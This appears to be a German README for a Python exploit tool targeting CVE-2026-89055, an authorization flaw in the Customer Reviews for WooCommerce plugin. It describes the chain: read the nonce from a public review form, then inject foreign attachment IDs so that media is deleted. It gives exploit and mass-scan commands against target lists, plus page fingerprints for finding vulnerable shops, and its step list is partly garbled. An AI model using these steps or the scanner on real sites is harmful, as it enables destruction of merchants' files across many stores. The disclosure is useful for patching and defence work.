
Python-Check/Exploit-PoC für CVE-2026-89055, eine unauthentifizierte Autorisierungsumgehung in Customer Reviews for WooCommerce, die es Angreifern ermöglicht, beliebige Media-Library-Anhänge zur Löschung zu verknüpfen.
Python 3 PoC für CVE-2026-89055 in Customer Reviews for WooCommerce (customer-reviews-woocommerce / Ivole CusRev).
CVE-2026-89055 — Customer Reviews for WooCommerce (CusRev) ≤ 5.120.0 ist anfällig für fehlende Autorisierung beim öffentlichen AJAX-Handler des lokalen Bewertungsformulars (cr_local_forms_submit). Jeder mit einem Kundenbewertungslink (/cusrev/{13-hex formId}/ aus der Bestellbestätigungs-E-Mail) kann ein gültiges crSubmitNonce erhalten und Bewertungen einreichen, deren items[].media-Array beliebige Media-Library-Anhang-IDs (Produktbilder, Logos, PDFs usw.) enthalten kann. Diese IDs werden in den Review-Kommentar-Metas gespeichert; wenn die Bewertung dauerhaft gelöscht wird (Papierkorb-Bereinigung / Spam-Bereinigung), ruft delete_review_media_attachments() wp_delete_attachment() für jede verknüpfte ID ohne Eigentumsprüfung auf. CVSS 3.1 9.1 Kritisch (C:N/I:H/A:H). Behoben in > 5.120.0.
Community-Katalog: https://pocbit.org/pocs/
{site}/cusrev/{formId}/ → lies crSubmitNonce + Produkt-data-itemid-Werte aus.POST an admin-ajax.php: action=cr_local_forms_submit mit items[n][media][]=<victim_attachment_id>.ivole_reviews_locl_img / Video).delete_review_media_attachments jede verknüpfte Anhangsdatei.Dieses PoC führt die Schritte 1–2 auf autorisierten Zielen durch. Schritt 4 ist ein Site-/Admin-Lebenszyklusereignis (dokumentiere in der Ausgabe als chain_note).
pip install -r requirements.txt
Python 3.8+.
# Plugin version + optional live form (nonce + item IDs)
python poc.py -u https://shop.example --mode check --form-url /cusrev/abc123def4567/
# Inject foreign attachment ID into first product line item
python poc.py -u https://shop.example --mode exploit \
--form-id abc123def4567 --attachment-id 123 \
--verify-url https://shop.example/wp-content/uploads/2026/01/product.jpg
# Mass: base URL per line, optional form path after |
python poc.py --list targets.example.txt --mode check -j 20 --quiet
| Datei | Bedeutung |
|---|---|
cve_2026_89055_results.jsonl | JSON pro Ziel |
hits.txt | Kandidaten oder Exploit-Marker |
candidates.jsonl | Plugin-anfällige Hosts, die Formularlinks benötigen |
body="/wp-content/plugins/customer-reviews-woocommerce/"
body="/cusrev/"
Nur autorisierte Tests.
| Plattform | WordPress + WooCommerce |
| Plugin | Customer Reviews for WooCommerce |
| Betroffen | ≤ 5.120.0 |
| CWE | CWE-862 (Missing Authorization) |
| Voraussetzung | Öffentlicher /cusrev/{formId}/-Link (Nonce auf der Seite) |
| Auswirkung | Beliebige Medienlöschung nach Bewertungsbereinigung (Integrität + Verfügbarkeit) |